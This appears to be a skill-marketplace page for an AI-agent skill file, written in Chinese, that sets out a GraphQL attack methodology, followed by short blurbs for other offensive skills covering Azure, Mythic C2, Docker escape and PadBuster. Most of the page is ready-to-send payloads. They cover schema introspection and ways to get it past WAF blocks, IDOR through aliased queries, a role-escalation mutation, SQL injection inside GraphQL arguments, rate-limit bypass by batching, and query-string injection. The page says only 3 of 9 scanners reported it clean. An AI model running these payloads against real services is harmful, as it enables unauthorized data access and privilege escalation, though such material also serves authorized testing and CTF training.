skills/exploit/web-method/graphql-methodology/SKILL.md
GraphQL API 安全测试。当发现 /graphql 端点、POST JSON 查询、GraphQL Playground/Explorer 页面、响应中有 data/errors JSON 结构时使用。包含 Introspection 泄露、注入攻击、权限绕过、嵌套查询 DoS
npx skillsauth add wgpsec/AboutSecurity graphql-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
常见路径: /graphql, /api/graphql, /graphiql, /v1/graphql, /query
检测: POST {"query":"{ __typename }"} → 返回 {"data":{"__typename":"Query"}} 即确认
获取完整Schema:
{"query":"{ __schema { types { name fields { name type { name } } } } }"}
精简版(只看Query和Mutation):
{"query":"{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"}
Introspection结果包含所有类型定义和字段 — 这是最重要的信息源
方法 1: Field Suggestion(字段建议) GraphQL 引擎对拼写错误会建议正确字段名:
{"query":"{ __typena }"}
→ "Did you mean '__typename'?"
利用这个特性枚举字段:发送错误的字段名,从建议中获取真实字段名。
方法 2: GET 请求绕过 有些 WAF 只拦截 POST 的 Introspection,用 GET 绕过:
GET /graphql?query={__schema{types{name,fields{name}}}}
方法 3: 别名/Fragment 绕过
{"query":"{ a: __schema { types { name } } }"}
{"query":"fragment f on __Schema { types { name } } { __schema { ...f } }"}
方法 4: 空白/换行变体
{"query":"\n{ __schema\n{ types\n{ name } } }"}
GraphQL 字段名大小写敏感,标准 introspection 字段是
__schema;__SCHEMA不是有效的大小写绕过。
方法 5: 逐字段猜测 如果以上都不行,根据常见命名猜测:
{"query":"{ user { id } }"}
{"query":"{ users { id } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ getUser(id:1) { id } }"}
根据Schema逐个查询:
{"query":"{ users { id username email role } }"}
{"query":"{ user(id: 1) { id username email role flag } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ posts { id title content author } }"}
注意隐藏字段(Schema中有但页面未展示的字段)
{"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"}
{"query":"{ user(id:1){flag} user2:user(id:2){flag} }"}
{"query":"{ u1:user(id:1){id,name,flag} u2:user(id:2){id,name,flag} u3:user(id:3){id,name,flag} }"}
GraphQL参数中的SQL注入:
{"query":"{ user(name: \"admin' OR '1'='1\") { id flag } }"}
{"query":"{ search(keyword: \"' UNION SELECT flag FROM flags--\") { results } }"}
{a:user(id:1){name} b:user(id:2){name}}%7B)编码绕过;换行/空格变体单个请求中用别名重复同一 mutation(如投票/认证)绕过频率限制:
mutation {
a1: vote(id: "target") { ok }
a2: vote(id: "target") { ok }
# 重复 N 次...
}
也可用数组批量: POST body: [{"query":"mutation{...}"}, {"query":"mutation{...}"}, ...]
当服务端拼接 GraphQL 查询字符串时,类似 SQLi 的注入:
// 输入: ") { result } } mutation { adminAction(secret: true) { flag } } #
// 闭合原查询并注入新 mutation
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能